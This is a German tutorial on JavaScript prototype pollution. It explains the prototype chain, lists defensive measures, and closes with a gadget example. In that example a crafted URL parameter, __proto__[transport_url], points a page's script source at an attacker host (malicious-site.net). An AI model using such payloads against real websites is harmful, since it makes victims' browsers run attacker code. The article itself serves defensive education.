Prototype Pollution ist eine Art von Sicherheitslücke in JavaScript, die durch Manipulation der Prototyp-Kette entsteht. In JavaScript können alle Objekte eine Prototyp-Kette haben, die verwendet wird, um Eigenschaften und Methoden zu erben. Wenn ein Objekt eine Eigenschaft oder Methode nicht selbst definiert hat, sucht es in seiner Prototyp-Kette, um zu sehen, ob sie dort definiert ist.
Die Prototype Pollution Sicherheitslücke tritt auf, wenn ein Angreifer in der Lage ist, Eigenschaften zu der Prototyp-Kette von JavaScript-Objekten hinzuzufügen oder zu ändern. Da alle Instanzen eines Objekts diese Änderungen erben, kann dies schwerwiegende Folgen haben.
Hier ist ein einfaches Beispiel:
let obj = {}; console.log(obj.toString()); // [object Object] Object.prototype.toString = function() { return 'Dieses Objekt wurde manipuliert'; }; console.log(obj.toString()); // Ausgabe: Dieses Objekt wurde manipuliert
In diesem Beispiel wurde die toString
Methode auf Object.prototype
manipuliert, was bedeutet, dass jedes Objekt, das diese Methode aufruft, die manipulierte Version verwenden wird.
Verhinderung von Prototype Pollution
Hier sind einige Maßnahmen, die Sie ergreifen können, um sich gegen Prototype Pollution zu schützen:
- Validierung von Eingaben: Sie sollten immer alle Eingaben überprüfen und bereinigen, bevor Sie sie verwenden, besonders wenn sie dazu dienen, Objekte zu manipulieren. Sie sollten nicht zulassen, dass Eingaben direkt als Eigenschaftsnamen verwendet werden, insbesondere wenn sie von unsicheren Quellen stammen.
- Verwendung von
hasOwnProperty
: Wenn Sie mit Objekten arbeiten, verwenden Sie diehasOwnProperty
Methode, um sicherzustellen, dass eine Eigenschaft direkt am Objekt und nicht in der Prototyp-Kette definiert ist.
let obj = { ... }; if (obj.hasOwnProperty('potentiallyUnsafeProperty')) { // Arbeitet mit der Eigenschaft }
- Vermeidung von
__proto__
undprototype
: Vermeiden Sie die Verwendung von__proto__
undprototype
in Ihrem Code, und erlauben Sie nicht, dass sie durch Eingaben geändert werden.
Um die Einhaktung dieser Regeln zu gewährleisten, ist es sinnvoll den eigenen Code darauf untersuchen zu lassen mittels Code Analyse wieSonarQube oder ESLint.
Beispiel für eine Prototype Pollution
Viele JavaScript-Bibliotheken akzeptieren ein Objekt, das Entwickler verwenden können, um verschiedene Konfigurationsoptionen festzulegen. Der Bibliothekscode prüft, ob der Entwickler bestimmte Eigenschaften zu diesem Objekt hinzugefügt hat und passt die Konfiguration entsprechend an. Ist eine Eigenschaft, die eine bestimmte Option repräsentiert, nicht vorhanden, wird oft eine vordefinierte Standardoption verwendet. Ein vereinfachtes Beispiel könnte so aussehen:
let transport_url = config.transport_url || defaults.transport_url;
Stellen Sie sich nun vor, der Bibliothekscode verwendet diese transport_url, um eine Skriptreferenz auf der Seite hinzuzufügen:
let script = document.createElement('script'); script.src = `${transport_url}/example.js`; document.body.appendChild(script);
Haben die Entwickler der Website keine transport_url-Eigenschaft in ihrem Config-Objekt festgelegt, handelt es sich hierbei um ein Sicherheitsproblem. In Fällen, in denen ein Angreifer in der Lage ist, das globale Object.prototype mit seiner eigenen transport_url-Eigenschaft zu „verschmutzen“, wird diese vom Config-Objekt geerbt und daher als Quelle für dieses Skript auf eine Domain der Wahl des Angreifers gesetzt.
Dann müsste der Angreifer nur ein Opfer dazu bringen, eine speziell erstellte URL zu besuchen, um dessen Browser dazu zu bringen, eine schädliche JavaScript-Datei von einer vom Angreifer kontrollierten Domain zu importieren und auszuführen:
https://vulnerable-website.com/?__proto__[transport_url]=//malicious-site.net